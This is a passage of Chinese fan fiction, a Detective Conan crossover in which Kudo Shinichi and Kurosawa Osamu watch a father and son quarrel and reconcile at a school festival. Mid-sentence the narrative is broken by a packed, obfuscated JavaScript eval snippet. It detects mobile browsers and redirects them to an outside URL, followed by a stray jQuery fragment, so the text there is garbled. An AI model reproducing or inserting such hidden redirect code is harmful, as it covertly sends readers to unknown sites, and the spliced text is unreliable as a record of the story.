过了一会儿后,重新跟上来的工藤新一看上去已经老实了不少,接过章鱼小丸子老老实实地吃了起来。
但这份老实也没伪装多久,趁着毛利兰不注意就端着盒子凑到了黑泽修身边。
“喂,黑泽,你刚才是故意那么说的吧?”工藤新一目光灼灼地看着黑泽修。
黑泽修挑眉,斜眼看了眼工藤新一后什么都没说,只是慢悠悠地又往嘴里塞了颗丸子嚼嚼嚼。
直到黑泽修又打算重复这个过程时,工藤新一才不情不愿的拉住黑泽修的手腕:“修哥哥,你就告诉我吧。”
黑泽修这才满意,狠狠揉了把工藤新一的脑袋、又把对方脑后那一撮呆毛按下去,不厌其烦重复数次直到呆毛终于屈服后,才大发慈悲开口:“对,我就是故意的。”
果然,黑泽修就是一个坏心眼的家伙嘛!工藤新一眼睛一亮,刚想要向小兰揭穿这家伙的真面目,兴冲冲起身的动作就被对方不紧不慢吐出的后一句话打断:
“不过那些话都是真的哦。”
可恶,真狡猾啊。工藤新一嘟嘟囔囔地坐了回来,又难免对如此坦然的黑泽修产生好奇。
工藤新一一直认为梦想和信念是让人能够坚定前行的支柱,如果不清楚自己的道路、那只能称之为躯壳而已。
就像想要成为名侦探是他的梦想一样,为了实现这个目标,他从小开始在父亲的培养下锻炼各方面的能力,不断努力学习、吸收一切接触到的知识,对周围所有事物保持好奇,作为骨架和梦想和特点组合在一起才形成了现在的工藤新一,哪怕任何一点的方向发生偏移,现在的他都不会是这个样子。
可黑泽修的梦想是什么,成为一个好人?这太空泛了,根本不是梦想,反而像是一句期许。
一句亲近的人对他的期许。
没有父母亲人、没有上过学,说明黑泽修没有稳固的家庭关系、也没有或者很少在社会上建立起联系。没有梦想、说明对自己的认知不足,本应在探索自我的时期却认真的将一句空泛的期许当做自己的人生目标去努力实现,是因为什么呢?
还有那个男人。
工藤新一想起自己和小兰在遇到黑泽修之前就看到这个男人在和帝丹高中的副校长聊天——副校长的态度很好,但明显不是因为这个男人、而是他代表的对象,还有递给他们小丸子时手上明显的枪茧。
应该是有钱人家的小少爷和他的保镖,但这个保镖却被小少爷视为没有血缘关系的家人。
这些不大不小的疑问纠缠在一起、覆盖在黑泽修身上,让黑泽修变成了一个由谜团组成的发光体。
工藤新一相信,不止是自己,一切探知欲、好奇心强的人都会在意识到黑泽修身上的迷雾时被他吸引。
不过他一定会率先破解黑泽修身上的秘密的!因为年纪太小只有少数几次才能被父亲工藤优作带去案发现场、大多数时间只能靠破解父亲编写出来的案件来锻炼能力的工藤新一第一次遇到黑泽修这样的人。
有难度、有兴趣,还是没有危险的学生,简直就是再完美不过的实践对象嘛!、
好!第一步从询问目标具体情况开始。
“修哥哥,你——”
“我说过让你走了吧?”工藤新一的话被熟悉的声音打断。
“又来找老夫是还想打公司的主意吗?不可能!”老者一脸不耐地站着,手杖哒哒哒地敲着地板,看上去更想敲中年男人的脑袋,“难道这次的教训还不够你认清自己是废物的事实?没有能力就老实在家待着,不要妄想不属于自己的东西。已经给你留下足够的股份了吧,以后能靠分红过上衣食无忧的生活、还不会因为那些愚蠢的决策被人耻笑,难道还不知足吗?”
“你实在应该感恩的,孝太。忘记你那些叔叔是如何对待不成器的孩子了吗?至少老夫还一直养着你、从没有对你这样糟糕的性格表达过不满,甚至给你留了条后路。到底还有什么不满意!”
“又吵起来了啊,这也是沟通就能解决的家庭矛盾吗?”黑泽修感叹着,戳了戳柯南。
呃,按理说是这样没错…但听着老者对叫孝太的男人明显的嫌恶和越来越过分、来围观者听着都有些不忍的嘲讽,工藤新一怎么也说不出这是个小矛盾的话。
听老者的话他们家条件似乎很不错,这个阶层的人更是将体面和尊严牢牢焊在身上,不管发生什么事都尽可能私下解决、不肯把家丑暴露在外人眼中。
更何况像这个老人一样,在对外开放的高中校园祭里公然怒骂自己中年的儿子、还表现得如此轻蔑呢?
“如果事情真的很严重的话,那位老人应该早就回去处理问题了,既然还有心情逛校园祭就说明错漏没有他说的那么严重。”绿川光带着毛利兰坐了过来,黑泽修和工藤新一坐着的位置刚好能完整看到那边的局势。
“那位老人更多的是借这件事朝孝太先生发火吧。”
“也不知道他会怎么做。”黑泽修倒是看得起劲,“如果有人这么跟我说话,我是绝对不会放过他的!”
“可是面对自己的父亲也只能忍耐了吧?”
“我又没有父亲。”
“……抱歉。”
黑泽修和绿川光的对话搞得工藤新一心情很复杂,既觉得好笑又自己居然觉得好笑实在是不应该。
小兰却一直关注着低头挨骂的孝太:“这个叔叔好可怜哦,被自己的爸爸这样骂、还有这么多陌生人在围观,一定会很难堪的。”
“那也没办法啊,总不能在这么多人面前反抗自己的父亲。”工藤新一有些疑惑,“不过他刚才已经走了,怎么又要回来?明明等校园祭结束后私下和父亲沟通更合适吧?”
“说不定有什么一定要做的事呢,比如让瞧不起自己的父亲付出代价什么的。”黑泽修饶有兴致地开始分析。
工藤新一半月眼:“怎么可能嘛。”
就在几人聊天时,那边的局
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448354|168893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
势发生了变化。
见孝太无论自己怎么骂都还是一副沉默抗拒、不肯承认错误的样子,北村大和先是一阵无力、随后又被浓重的愤怒取代,越发认为自己把北村孝太赶出公司的决定再正确不过。
既然他不肯给什么反应,北村大和也懒得再在这个无能的儿子身上多费功夫、也不想让他打扰自己重游高中母校,挥挥手就想让保镖把他拖走。
但没来得及动作,就看到对面的北村孝太动了动、一直背在身后的手慢慢伸了出来。
北村大和提起警惕,余光扫视着周围想找机会躲开,就看到眼前出现的并非是自己想的那样东西,而是——
一个还冒着热气的鲷鱼烧,甜蜜的红豆馅满得溢出来了、顺着鱼嘴往下流淌。
似乎刚刚出炉就被装了起来,北村孝太握着鲷鱼烧的手都被烫得通红、微微发着抖。
北村大和愣了一下,对上了北村孝太紧张不安的双眼。
“父亲,我…”北村孝太声音沙哑、忐忑的半天说不出一个完整的句子。但看起来对他毫无耐心的北村大和居然也安静了下来,等他平静情绪。
“我、那个项目是我错了,我不该鬼迷心窍被那些利润打动。”北村孝太的话磕磕绊绊的,“那是因为我太、太不自信了,我一直没什么能力、没做出来什么成绩,我只是想做一件事证明我不是什么都干不了、想向你证明我配得上当您的儿子。”
没说什么有用的话,把做错事的原因推到自己父亲身上。这个老人只会更生气吧?工藤新一如此判断。
“…这是您小时候带我参加帝丹高中校园祭时吃过的鲷鱼烧,您也说过自己最怀念的就是这个。”北村孝太咽了下口水,手又往前伸了伸,“所、所以我特意买了这个跟您道歉,特意让老板多加了红豆馅……”
北村大和沉默着,就在众人都屏息等着他发怒时,平静地接过了烫手的鲷鱼烧:“啊,看出来了。”
“哇,这么简单就和好了,新一你说的话还是很有道理的嘛。”黑泽修感叹了一句,转头看向绿川光,“绿川,你喜欢吃什么啊?”
绿川光瞅嘴角抽搐:“这个还是不要学了不是什么通用的经验。”
“好吧。”黑泽修叹了口气,把手里的空盒子扔到垃圾桶里。“那个鲷鱼烧看起来挺好吃的,绿川,我也想尝尝。”
“真的就这么和好了吗?刚刚还吵得那么厉害。”工藤新一不敢置信,毛利兰倒是很开心,“这不是件好事嘛。”
四人正准备朝鲷鱼烧前进时,就见北村大和因为儿子的主动示好有些局促,左右张望了一圈,看到他们时眼睛突然一亮,大步走了过来。
“黑泽先生?您是黑泽修先生吧。”北村大和走过来后第一时间看向黑泽修,微微躬身。
工藤新一确认在此之前两个人并不认识、至少黑泽修并不认识这位老人。
可他在一位陌生的老者对自己行礼时丝毫不避:“你认识我?”